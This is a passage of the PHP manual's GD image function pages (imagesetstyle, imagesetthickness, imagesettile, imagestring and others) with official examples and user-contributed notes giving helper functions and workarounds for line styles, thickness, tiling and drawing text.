$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
dino at nordmark dot dk 31-May-2002 04:28
The example above diden't work, because of some errors.
This should work and it's also faster because there is only one 512*512 loop. (but it is still very slow)

<?
$filename="lena.raw";
$width=512;
$height=512;
$fp=fopen($filename, "r");
$contents=fread($fp,filesize($filename));
fclose($fp);

$image=imagecreate($width,$height);

// create greyscale palette because the image is limited to 256 colors
for ($i=0;$i<256;$i++){ ImageColorAllocate($image,$i,$i,$i);}

// This is slow, but probably the only way
for ($i=0;$i<512;$i++){
   for ($j=0;$j<512;$j++){
   imagesetpixel ($image,$i,$j,ord($contents[$i+$j*512]));
   }
}

imagepng($image,"result.png");
imagedestroy($image);

echo "<img src=result.png></img>";
?>

--

Dino Patti
imagesetbrush
imagesetstyle
GD and Image Functions


Set the style for line drawing

imagesetpixel
imagesetthickness
GD and Image Functions
PHP Manual

imagesetstyle

(PHP 4 >= 4.0.6, PHP 5)

imagesetstyle — Set the style for line drawing

Description

bool imagesetstyle ( resource $image , array $style )

imagesetstyle() sets the style to be used by all line drawing functions (such as imageline() and imagepolygon()) when drawing with the special color IMG_COLOR_STYLED or lines of images with color IMG_COLOR_STYLEDBRUSHED.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

style

An array of pixel colors. You can use the IMG_COLOR_TRANSPARENT constant to add a transparent pixel.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Following example script draws a dashed line from upper left to lower right corner of the canvas:

Example #1 imagesetstyle() example

<?php
header("Content-type: image/jpeg");
$im  = imagecreatetruecolor(100, 100);
$w   = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* Draw a dashed line, 5 red pixels, 5 white pixels */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* Draw a line of happy faces using imagesetbrush() with imagesetstyle */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagesetstyle()

See Also

  • imagesetbrush() - Set the brush image for line drawing
  • imageline() - Draw a line

User Contributed Notes

php at imperium dot be 06-Aug-2010 07:05
Be aware that styles are applied towards the width of the line instead of linear.
To convert a style to be used for thick lines you can use the function below:

<?php
/*
ImageStyleThicken(<aStyle>,<iThickness>) --> <aThickStyle>

<aStyle> is the style array for a thickness of 1 (see imagesetstyle()).
<iThickness> is the new thickness to apply (see imagesetthickness()).

<aThickStyle> is the style array suitable for the given thickness.
*/
function ImageStyleThicken($_1,$_2) {
    $a = array();
    foreach ($_1 as $x) {
        $i = $_2;
        do $a[] = $x; while (--$i>0); }
    return $a;
}
?>
Wander 13-Dec-2007 11:12
Function to make a line with random fading:

<?php
    function fading_line($img,$sx,$sy,$ex,$ey){
        $r=rand(0,5);$g=rand(0,5);$b=rand(0,5);
        $l=sqrt((($ex-$sx)*($ex-$sx))+(($ey-$sy)*($ey-$sy)));
        for($i=0;$i<$l;$i++){
            $a = array(255-((255/$l)*$i), 255,0,(255/$l)*$i/2,(255/$l)*$i,(255-((255/$l)*$i))/2);
            $style[]=imagecolorallocate($img,$a[$r],$a[$g],$a[$b]);
        }
        imagesetstyle($img,$style);
        imageline($img,$sx,$sy,$ex,$ey,IMG_COLOR_STYLED);
    }

    fading_line($img,10,20,490,40);    // image, start x, start y, end x, end y
?>
Michael_Todd_335 at yahoo dot com 27-Jun-2007 09:40
Watch out! If you pass imagesetstyle() an empty array as the second argument, it will crash your server!
I was messing with it just earlier and accidentally did so, and the page took a good minute to process, when my Apache server came up with the good ol' Windows 'Send Error Report' window.
Cruz at FtUC dot net 15-Jan-2006 03:45
When lines drawn with imagesetstyle seem to produce a thin white line only, make sure antialiasing is disabled.

<?
  imageantialias($im, false);
  $style = array($gridxcolor, $gridxcolor, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT);
  imagesetstyle($im, $style);
  imageline($im, $x, 0, $x, $ymax+5, IMG_COLOR_STYLED);
  imageantialias($im, true);
?>

Setstyle and Antialias don't go together.
zackbloom at gmail dot com 06-Dec-2005 02:44
Use this to set the style to any combination of pixels.
You can pass as many modifiers as you wish.
Use the format [num]r[red]g[green]b[blue].

For example:

$im=dashed($im,"4r255g0b0","2r0g255b0","5r0g0b255");
imageline($im, 0, 0, 600, 600, IMG_COLOR_STYLED);

function dashed($im){
$size = func_num_args();
for($i = 0; $i < $size; $i++){
$arg = func_get_arg($i);
if(!is_resource($arg)){
$r=substr($arg,strpos($arg,"r")+1,
strpos($arg,"g")-strpos($arg,"r")-1);
$g=substr($arg,strpos($arg,"g")+1,
strpos($arg,"b")-strpos($arg,"g")-1);
$b=substr($arg,strpos($arg,"b")+1,
strlen($arg)-strpos($arg,"b"));
$color = imagecolorallocate($im,$r,$g,$b);
$x = substr($arg,0,strpos($arg,"r"));
$vals[$i] = array_fill(0,$x,$color);
}
}
for($k=0;$k<count($vals)+1;$k++)
if(array_key_exists($k,$vals)) $prop=array_merge($prop,$vals[$k]);
imagesetstyle($im, $prop);
return $im;
}
yhoko at yhoko dot com 11-Aug-2004 06:24
When drawing lines that are >1px thick you'll have to setup the array corresponding to this fact (since there's no multi-array support for this function).

For example if the line's 3 pixels thick each 2nd color goes to the 2nd line, each 3rd color to the 3rd line and so on.
imagesetpixel
imagesetthickness
GD and Image Functions


Set the thickness for line drawing

imagesetstyle
imagesettile
GD and Image Functions
PHP Manual

imagesetthickness

(PHP 4 >= 4.0.6, PHP 5)

imagesetthickness — Set the thickness for line drawing

Description

bool imagesetthickness ( resource $image , int $thickness )

imagesetthickness() sets the thickness of the lines drawn when drawing rectangles, polygons, ellipses etc. etc. to thickness pixels.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

thickness

Thickness, in pixels.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetthickness() example

<?php
// Create a 200x100 image
$im = imagecreatetruecolor(200, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Set the line thickness to 5
imagesetthickness($im, 5);

// Draw the rectangle
imagerectangle($im, 14, 14, 185, 85, $black);

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagesetthickness()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

fred at nowhere dot fr 10-Oct-2009 12:05
One thing worse to mention is that imagesetthikness() works on the next object you draw.
For ex : you can draw a grid within a grapg with a thickness of 1

by invoking imagesetthickness($image, 1);

... script to draw your grid...

and then invoke imagesetthikness with a draw your graph lines with a thickness of 3
imagesetthickness($image, 3);
... script to draw your graph lines...

Hope this helps...
raffi dot semerciyan at gmail dot com 24-Sep-2009 08:42
While recently "playing" with GD library for PHP I also encountered the problem of imagesetthickness not working with imageellipse.

I think I found a good work around and wanted to share it  with you:

Instead of using

<?php imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color); ?>

I successfully used:

<?php imagearc($image, $pos_x, $pos_y, $elipse_w, $elipse_h, 0, 359.9, $color); ?>

NOTE: Don't put exactly 360 instead of 359.9 because it seems that the implementation makes the test and uses imageellipse instead!
Below is my Ellipse function that is sensitive to imagesetthickness function AND that creates a properly closed ellipse.

<?php
  function myimageellipse($image, $x, $y, $rx, $ry, $color)
  {
    // We don't use imageellipse because the imagesetthickness function has
    // no effect. So the better workaround is to use imagearc.
    imagearc($image,$x,$y,$rx,$ry, 0,359,$color);

    // If we stop here, we don't have a properly closed ellipse.
    // Using imagefill at this point will flood outside the ellipse (actually arc).

    // We have to close the arc to make it a real ellipse.
    $cos359=0.99984769;
    $sin359=-0.01745240;

    $x1=round($x+$rx/2*$cos359);
    $y1=round($y+$ry/2*$sin359);

    $x2=round($x+$rx/2);
    $y2=round($y);

    // imageline is sensitive to imagesetthickness as well.
    imageline($image,$x1,$y1,$x2,$y2,$color);

  }
?>
jean-raymond dot chauviere at gmail dot com 30-Jun-2009 01:20
An easier to manage thickness is, before to draw in the ellipse to play with 2 ellipse with different color :

<?php
        imagefilledellipse  ($this->image,60,42,57,57,$drawColor);
        imagefilledellipse  ($this->image,60,42,45,45,$backColor);
?>

The first line draw a filled ellipse with the wanted color, and the 2nd one, draw an ellipse with the background color from the same center, but is smaller.

The drawback of this method is that you erase everything in the middle of the ellipse.
admin at circle14 dot net 01-Feb-2009 05:33
Here is a custom function I wrote that addresses the line thickness issues with ellipses :

<?php
function draw_oval ($image, $pos_x, $pos_y, $elipse_width, $elipse_height, $color, $px_thick) {
    $line = 0;
    $thickness = $px_thick;
    $elipse_w = $elipse_width;
    $elipse_h = $elipse_height;
    while ($line < $thickness) {
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $line++;
        $elipse_w--;
        $elipse_h--;
    }
}
?>

I hope you find this useful.
bpatru at gmail dot com 28-Sep-2008 01:01
Apparently imagesetthickness doesn't work if antialiasing is set to true.
baldurien at bbnwn dot eu 11-Mar-2008 04:28
The way that imagesetthickness works with imagerectangle() is pretty strange.

<?php
imagesetthickness(1);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 41x41 square (because gd need the bottom right pixel, inclusive. 50 should get replaced by 49). This will "work" like:

<?php
imageline($im, 10, 10, 10, 50, $red);
imageline($im, 10, 10, 50, 10, $red);
imageline($im, 50, 10, 50, 50, $red);
imageline($im, 10, 50, 50, 50, $red);
?>

The second example:

<?php
imagesetthickness(2);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 43x43 square because the border (thickness) is set to 2. *however* this is not a "regular" border of 2 pixels around the 41x41 original square!

On the left and right, there will be a thickness of 3, while there we be a thickness of 2.

If you take the imageline example, but set the thickness before to 2, this will *almost* do the trick: the left most pixel of the square will not be drawn.

To conclude:

1) do not forget that (width, height) of drawn rectangle is (x2-x1+1, y2-y1+1)
2) thickness is bad implemented (or at least, the behavior i s not documented) on rectangle, as the left/right thickness is not the wanted one.
3) 4*imageline() should do the trick, but after "patching" the top left pixel.
ab at cd dot com 27-Jun-2007 04:05
Note: Also, for me (working under PHP 5.0.2) this function ONLY seems to work with imageline...
-private- 28-Mar-2007 01:01
There is a known bug. Imagesetthickness is NOT working on ellipse.
imagesetstyle
imagesettile
GD and Image Functions


Set the tile image for filling

imagesetthickness
imagestring
GD and Image Functions
PHP Manual

imagesettile

(PHP 4 >= 4.0.6, PHP 5)

imagesettile — Set the tile image for filling

Description

bool imagesettile ( resource $image , resource $tile )

imagesettile() sets the tile image to be used by all region filling functions (such as imagefill() and imagefilledpolygon()) when filling with the special color IMG_COLOR_TILED.

A tile is an image used to fill an area with a repeated pattern. Any GD image can be used as a tile, and by setting the transparent color index of the tile image with imagecolortransparent(), a tile allows certain parts of the underlying area to shine through can be created.

Note:

You need not take special action when you are finished with a tile, but if you destroy the tile image, you must not use the IMG_COLOR_TILED color until you have set a new tile image!

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

tile

The image resource to be used as a tile.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesettile() example

<?php
// Load an external image
$zend = imagecreatefromgif('./zend.gif');

// Create a 200x200 image
$im = imagecreatetruecolor(200, 200);

// Set the tile
imagesettile($im, $zend);

// Make the image repeat
imagefilledrectangle($im, 0, 0, 199, 199, IMG_COLOR_TILED);

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($zend);
?>

The above example will output something similar to:

Output of example : imagesettile()

User Contributed Notes

onion at ooer dot com 07-Nov-2005 12:31
If you're using a tile image that has some form of transparency you'll need to make sure your destination image is set to use alpha blending. By default it will be, but if for any reason you've changed it you'll need to do:

imagealphablending($image,true);

before any operation using IMG_COLOR_TILED.
aquilo at xtram dot net 01-Jun-2004 06:30
There is very little information about this function so I thought I'd add a few notes I found while trying to get this

working.

First make sure your version of PHP is above 4.3.2 I spent an hour searching goggles 13000+ mirrors of this same page and

finally found the info I needed at AltaVista, there is a bug in PHP 4.3.2 that makes this none functional.

if your creating the base image you need to create it with imageCreateTrueColor() if your using a PNG with transparency, I

found even nullifying the PNG's transparency with GD doesn't work. the tiling PNG has to be created without transparency to work with imageCreate(). but from what I've seen imageCreateFromXXX() can use transparent and nonetransparent PNG's.

here is an example.
<?php
    $diagramWidth = 300;
    $diagramHeight = 50;

    $image = imageCreateTrueColor ($diagramWidth, $diagramHeight);
    $imagebg = imageCreateFromPNG ('tile.png'); // transparent PNG

    imageSetTile ($image, $imagebg);
    imageFilledRectangle ($image, 0, 0, $diagramWidth, $diagramHeight, IMG_COLOR_TILED);

    $textcolor1 = imageColorAllocate ($image, 80, 80, 80);
    $textcolor2 = imageColorAllocate ($image, 255, 255, 255);

    imageString ($image, 3, 10, 20, 'Transparent PNG Tile Test...', $textcolor1);
    imageString ($image, 3,  9, 19, 'Transparent PNG Tile Test...', $textcolor2);

    Header("Content-type: image/png");
    imagePNG ($image);

    imagedestroy ($image);
    imagedestroy ($imagebg);
?>

hope this helps someone else!
Aquilo
imagesetthickness
imagestring
GD and Image Functions


Draw a string horizontally

imagesettile
imagestringup
GD and Image Functions
PHP Manual

imagestring

(PHP 4, PHP 5)

imagestring — Draw a string horizontally

Description

bool imagestring ( resource $image , int $font , int $x , int $y , string $string , int $color )

Draws a string at the given coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the upper left corner.

y

y-coordinate of the upper left corner.

string

The string to be written.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagestring() example

<?php
// Create a 100*30 image
$im = imagecreate(100, 30);

// White background and blue text
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);

// Write the string at the top left
imagestring($im, 5, 0, 0, 'Hello world!', $textcolor);

// Output the image
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagestring()

See Also

  • imageloadfont() - Load a new font
  • imagettftext() - Write text to the image using TrueType fonts

User Contributed Notes

Dirkjan 28-Oct-2009 07:02
I created this very simple function to place text in the horizontal center of an image.

image = the image.
image_width = the width of the image.
string = the text you want to add.
font_size = font size, between 1 and 5.
y = vertical position of the text.
color = the color of the text

<?php
//place text in the center of the image
function CenterImageString($image, $image_width, $string, $font_size, $y, $color)
 {
 $text_width = imagefontwidth($font_size)*strlen($string);
 $center = ceil($image_width / 2);
 $x = $center - (ceil($text_width/2));
 ImageString($image, $font_size, $x, $y, $string, $color);
 }
?>

To use the function in your script, you can do like this:

<?php
header("Content-type: image/png");
$picture = imagecreate(100,100);
$black = ImageColorAllocate ($picture, 0, 0, 0);
CenterImageString($picture, 100, "Centered text", 2, 45, $black);
ImagePng ($picture);
?>
jordanslost at gmail 04-Sep-2009 04:52
Here is a small bit I made for writing to a image from right to left when you are limited to imagestring()

<?php

        $pageview_letters = preg_split('//', $string, -1 ); // Form are original array of letters.
        $minus = 6; // The letter spacing in pixels
        $first = true; // Whether or not we have started the string
        $x = 375; // X Location of imagestring
        $y = 23; // Y Location of imagestring
        $letters = array(); // Initiate the array o letters.

        foreach ( $pageview_letters as $letter ) {

            $letters[] = $letter;

        }

        $letters = array_reverse( $letters );

        foreach ( $letters as $letter ) {

            if ( $first ) {

                imagestring( $image, 2, $x, $y, $letter, $light_blue );
                $first = false;

            } else {

                $x = ( $x - $minus );
                imagestring( $image, 2, $x, $y, $letter, $light_blue );

            }

        }
?>
eric dot brison at anakeen dot com 24-Apr-2009 12:51
Same function as above but it can display multi-line strings.
<?php
function sendimagetext($text) {
  // Set font size
  $font_size = 4;

  $ts=explode("\n",$text);
  $width=0;
  foreach ($ts as $k=>$string) { //compute width
    $width=max($width,strlen($string));
  }

  // Create image width dependant on width of the string
  $width  = imagefontwidth($font_size)*$width;
  // Set height to that of the font
  $height = imagefontheight($font_size)*count($ts);
  $el=imagefontheight($font_size);
  $em=imagefontwidth($font_size);
  // Create the image pallette
  $img = imagecreatetruecolor($width,$height);
  // Dark red background
  $bg = imagecolorallocate($img, 0xAA, 0x00, 0x00);
  imagefilledrectangle($img, 0, 0,$width ,$height , $bg);
  // White font color
  $color = imagecolorallocate($img, 255, 255, 255);

  foreach ($ts as $k=>$string) {
    // Length of the string
    $len = strlen($string);
    // Y-coordinate of character, X changes, Y is static
    $ypos = 0;
    // Loop through the string
    for($i=0;$i<$len;$i++){
      // Position of the character horizontally
      $xpos = $i * $em;
      $ypos = $k * $el;
      // Draw character
      imagechar($img, $font_size, $xpos, $ypos, $string, $color);
      // Remove character from string
      $string = substr($string, 1);
    }
  }
  // Return the image
  header("Content-Type: image/png");
  imagepng($img);
  // Remove image
  imagedestroy($img);
}
?>
mike at mike-griffiths dot co dot uk 19-Dec-2008 12:07
I created an alternative using the function imagechar to create a string of an image.  The below function below was used to create an image the same height and width of the text string.  It is used on my website to mask users email addresses.

<?PHP

// Set your string somehow
$string = 'your@example.com';

// Set font size
$font_size = 4;

// Create image width dependant on width of the string
$width  = imagefontwidth($font_size)*strlen($string);
// Set height to that of the font
$height = imagefontheight($font_size);
// Create the image pallette
$img = imagecreate($width,$height);
// Grey background
$bg    = imagecolorallocate($img, 25, 25, 25);
// White font color
$color = imagecolorallocate($img, 255, 255, 255);
// Length of the string
$len = strlen($string);
// Y-coordinate of character, X changes, Y is static
$ypos = 0;
// Loop through the string
for($i=0;$i<$len;$i++){
    // Position of the character horizontally
    $xpos = $i * imagefontwidth($font_size);
    // Draw character
    imagechar($img, $font_size, $xpos, $ypos, $string, $color);
    // Remove character from string
    $string = substr($string, 1);

}
// Return the image
header("Content-Type: image/gif");
imagegif($img);
// Remove image
imagedestroy($img);

?>
keksnicoh at googlemail dot com 02-Nov-2008 10:42
Some fun with imagestring:

This function is a product of too much time..
It opens an image and create a new image with one letter instead of a pixel.

<?php
error_reporting(E_ALL);
/**
 * generates a image with chars instead of pixels
 *
 * @param string $url Filepath or url
 * @param string $chars The chars which should replace the pixels
 * @param int $shrpns Sharpness (2 = every second pixel, 1 = every pixel ... )
 * @param int $size
 * @param int $weight font-weight/size
 * @return sesource
 * @author Nicolas 'KeksNicoh' Heimann <www.salamipla.net>
 * @date 02nov08
 */
function pixelfuck($url, $chars='ewk34543§G§$§$Tg34g4g', $shrpns=1, $size=4,$weight=2)
{
    list($w, $h, $type) = getimagesize($url);
    $resource = imagecreatefromstring(file_get_contents($url));
    $img = imagecreatetruecolor($w*$size,$h*$size);

    $cc = strlen($chars);
    for($y=0;$y <$h;$y+=$shrpns)
        for($x=0;$x <$w;$x+=$shrpns)
            imagestring($img,$weight,$x*$size,$y*$size, $chars{@++$p%$cc}, imagecolorat($resource, $x, $y));
    return $img;
}

$url = 'http://upload.wikimedia.org/wikipedia/commons/b/be/Manga_Icon.png';
$text = 'I-dont-like-manga-...-Why-do-they-have-such-big-eyes? Strange-...-WHAT-WANT-YOU-DO?';

Header('Content-Type: image/png');
imagepng(pixelfuck($url, $text, 1, 6));
?>

Have fun  :)
Abubaker dot shamlan at gmail dot com 19-Aug-2008 03:02
this is a function that is based on imagestring but it produces text in the center of an image i hope it helps :D

<?php
function ImageStringCenter($image_resource, $font_size, $line_number, $total_lines, $text, $color ) {

    $center_x = ceil( ( imagesx($image_resource) - ( ImageFontWidth($font_size) * strlen($text) ) ) / 2 );

    $center_y = ceil( ( ( imagesy($image_resource) - ( ImageFontHeight($font_size) * $total_lines ) ) / 2)  + ( ($line_number-1) * ImageFontHeight($font_size) ) );

ImageString($image_resource, $font_size, $center_x, $center_y, $text, $color );

}
?>
mustafa at hafunny dot info 14-Aug-2008 02:42
If you have any problem with CentralEurope's words, for example : ľščťžýáíéúäňôď, I am try this problem by iconv() function.

<?php
// create example image
$im = imagecreate(200, 20);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
$text = "ľščťžýáíéúäňôď...";

//simple convert string
$string = iconv("Windows-1250", "Latin2", $text);

// write converted string at the top left
imagestring($im, 4, 0, 0, $string, $textcolor);

// output the image
header("Content-type: image/png");
imagepng($im);
?>
sk89q 14-Mar-2008 02:10
Creates a box of text. Has horizontal and vertical alignment, box arguments, and custom leading. I submitted this to the manual in 2003 actually, but it disappeared after a year or so (not sure why). Here it is again.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");
define("VALIGN_TOP", "top");
define("VALIGN_MIDDLE", "middle");
define("VALIGN_BOTTOM", "bottom");

function imagestringbox(&$image, $font, $left, $top, $right, $bottom, $align, $valign, $leading, $text, $color)
{
   // Get size of box
   $height = $bottom - $top;
   $width = $right - $left;

   // Break the text into lines, and into an array
   $lines = wordwrap($text, floor($width / imagefontwidth($font)), "\n", true);
   $lines = explode("\n", $lines);

   // Other important numbers
   $line_height = imagefontheight($font) + $leading;
   $line_count = floor($height / $line_height);
   $line_count = ($line_count > count($lines)) ? (count($lines)) : ($line_count);

   // Loop through lines
   for ($i = 0; $i < $line_count; $i++)
   {
       // Vertical Align
       switch($valign)
       {
           case VALIGN_TOP: // Top
               $y = $top + ($i * $line_height);
               break;
           case VALIGN_MIDDLE: // Middle
               $y = $top + (($height - ($line_count * $line_height)) / 2) + ($i * $line_height);
               break;
           case VALIGN_BOTTOM: // Bottom
               $y = ($top + $height) - ($line_count * $line_height) + ($i * $line_height);
               break;
           default:
               return false;
       }

       // Horizontal Align
       $line_width = strlen($lines[$i]) * imagefontwidth($font);
       switch($align)
       {
           case ALIGN_LEFT: // Left
               $x = $left;
               break;
           case ALIGN_CENTER: // Center
               $x = $left + (($width - $line_width) / 2);
               break;
           case ALIGN_RIGHT: // Right
               $x = $left + ($width - $line_width);
               break;
           default:
               return false;
       }

       // Draw
       imagestring($image, $font, $x, $y, $lines[$i], $color);
   }

   return true;
}
?>
Anonymous 30-Jan-2008 09:31
<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im     = imagecreatefrompng("button1.png");
$color = imagecolorallocate($im, 0, 0, 0);
$px     = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $color);
imagepng($im);
imagedestroy($im);

?>

this code you can write the string within the url by a $_get function
Tobias 17-Jan-2008 01:40
I've taken the code of Epidemiah and improved the code so that the function now can handle generic position commands (as e.g. left / bottom) or int-values as left/top position of the text to write (with positive values used as left/top position and negative from right/bottom).

So e.g. imageWriteString($img, $font, $text, $color, -10,-10); writes the text so that there is 10 px space to right and bottom border of image.

Hope this is useful. Could be optimized and checked in detail, but works fine for me.

Tobias

<?php

/**
 * write text at a specified position of the image
 * @source: http://de.php.net/manual/en/function.imagestring.php#80186
 *
 * @param &$img; reference to image
 * @param $font font to use
 * @param $text text to write
 * @param $color color to use
 * @param $position_x var if numeric: write starting at position x (if x >= 0), otherwise from right border; possible string values: left(5px from left border), right(5px from right border), center(default)
 * @param $position_y var if numeric: write starting at position y (if y >= 0), otherwise from bottom; possible string values: top(5px from top border), bottom(5px from bottom border), center(default)
 * @return void
 */
function imageWriteString(&$img, $font, $text, $color, $position_x = 'center', $position_y = 'center') {
    // initialize internal variables
    $x = null;
    $y = null;

    if($font < 0 || $font > 5){ $font = 0; }
    $num = array(array(4.6, 6),
                 array(4.6, 6),
                 array(5.6, 12),
                 array(6.5, 12),
                 array(7.6, 16),
                 array(8.5, 16));

    $width = ceil(strlen($text) * $num[$font][0]);
    $height = $num[$font][1] + 2;

    // handle position x
    if (is_string($position_x)) {
        switch($position_x) {
            case 'left':
                $position_x = 5;
                break;
            case 'right':
                $position_x = -5;
                break;
            default:
            case 'center':
                $x     = (imagesx($img) - $width - 8) / 2;
                break;
        }
    }
    if (!isset($x)) {
        if(is_numeric($position_x)) {
            if ($position_x >= 0) {
                $x = $position_x; // left
            } else {
                $x = imagesx($img) - $width + $position_x - 8; // right
            }
        } else {
            $x     = (imagesx($img) - $width - 8) / 2; // default / error value: center
        }
    }

    // handle position y
    if (is_string($position_y)) {
        switch($position_y) {
            case 'top':
                $position_y = 5;
                break;
            case 'bottom':
                $position_y = -5;
                break;
            default:
            case 'center':
                $y     = (Imagesy($img) - ($num[$font][1] + 2))/2;
                break;
        }
    }
    if (!isset($y)) {
        if (is_numeric($position_y)) {
            if ($position_y >= 0) {
                $y = $position_y; // top
            } else {
                $y = Imagesy($img) - $height + $position_y; // bottom
            }
        } else {
            $y     = (Imagesy($img) - ($num[$font][1] + 2))/2; // default / error value: center
        }
    }
    imagestring($img, $font, $x, $y, $text, $color);
}
?>
eviloverlord+php at gmail dot com 03-Jan-2008 03:28
Simple script to convert a string (such as an email addresses) to a transparent image.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>">

From a spambot's point of view, they see:
<img src="stringtoimg.php?string=ZpbXZG92ZXJsb3JkQGdtYWlsLmNvbQ%3D%3D">

Optional parameters:
    font_size: 1 to 5, with the default at 3
    R/G/B: the font color, in hex.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>&font_size=4&R=FF&G=FF&B=00">

<?php
/*
Filename: stringtoimg.php

Parameters:
        string: the string to print
        font_size (optional): the size of the font from 1-5
        R/G/B (optional): the RGB colors of the font in hex
*/

header ("Content-type: image/png");

//Get string info
$font_size = isset($_GET['font_size']) ? $_GET['font_size'] : 3;
$string = urldecode(base64_decode($_GET['string']));

//Get the size of the string
$width = imagefontwidth($font_size) * strlen($string);
$height = imagefontheight($font_size);

//Create the image
$img = @imagecreatetruecolor($width, $height)
      or die("Cannot Initialize new GD image stream");

//Make it transparent
imagesavealpha($img, true);
$trans_colour = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $trans_colour);

//Get the text color
$text_color = isset($_GET['R'], $_GET['G'], $_GET['B']) ?
        imagecolorallocate($img, hexdec($_GET['R']), hexdec($_GET['G']), hexdec($_GET['B'])) :
        imagecolorallocate($img, 0, 0, 0);

//Draw the string
imagestring($img, $font_size, 0, 0,  $string, $text_color);

//Output the image
imagepng($img);
imagedestroy($img);
?>
Epidemiah 03-Jan-2008 05:06
Its just an easy function to write an string in the middle of a picture.

<?php

function imageCenterString(&$img, $font, $text, $color)
{
    if($font < 0 || $font > 5){ $font = 0; }
    $num = array(array(4.6, 6),
                 array(4.6, 6),
                 array(5.6, 12),
                 array(6.5, 12),
                 array(7.6, 16),
                 array(8.5, 16));
    $width = ceil(strlen($text) * $num[$font][0]);
    $x     = imagesx($img) - $width - 8;
    $y     = Imagesy($img) - ($num[$font][1] + 2);
    imagestring($img, $font, $x/2, $y/2, $text, $color);
}

?>
jlamer 18-Feb-2007 06:00
//  Example of use...

//  This is a simple function to output text to an image
//  which is centered (as much as I want to do by eye)
//  and wrapped
//    Just remember that all the sizes are guessed
// doesn't cut on the space (only on number of characters)
//  or change color of text, but this isn't for that...
function imageCenterString( $imgw, $imgh,
   $image_text = '', $text_size=5 )
{
   $im = imagecreate( $imgw, $imgh );

   // white background and blue text
   $bg = imagecolorallocate($im, 255, 255, 255);
   $textcolor = imagecolorallocate($im, 0, 0, 0);

   $t_h = $t_w = $t_x = $t_y = 0;
   $base_w =9; $base_h = 16;
   $m = 0.88;
   switch ( $text_size )
   {
      case 1: $t_w = $base_w*pow(($m*.98),4);
         $t_h = $base_h*pow(($m*.98),4);
         break;
      case 2: $t_w = $base_w*pow($m,3);
         $t_h = $base_h*pow($m,3);
         break;
      case 3: $t_w = $base_w*pow($m,2);
         $t_h = $base_h*pow($m,2);
         break;
      case 4: $t_w = $base_w*$m;
         $t_h = $base_h*$m;
         break;
      case 5: $t_w = $base_w;
         $t_h = $base_h;
         break;
      default:
         if ( $text_size >= 5 ) // set to 5
         {   $t_w = $base_w; $t_h = $base_h; }
         if ( $text_size < 5 ) // set to 1
         {
            $t_w = $base_w*pow(($m*.98),4);
            $t_h = $base_h*pow(($m*.98),4);
         }
         break;
   }

   $text_array = array();

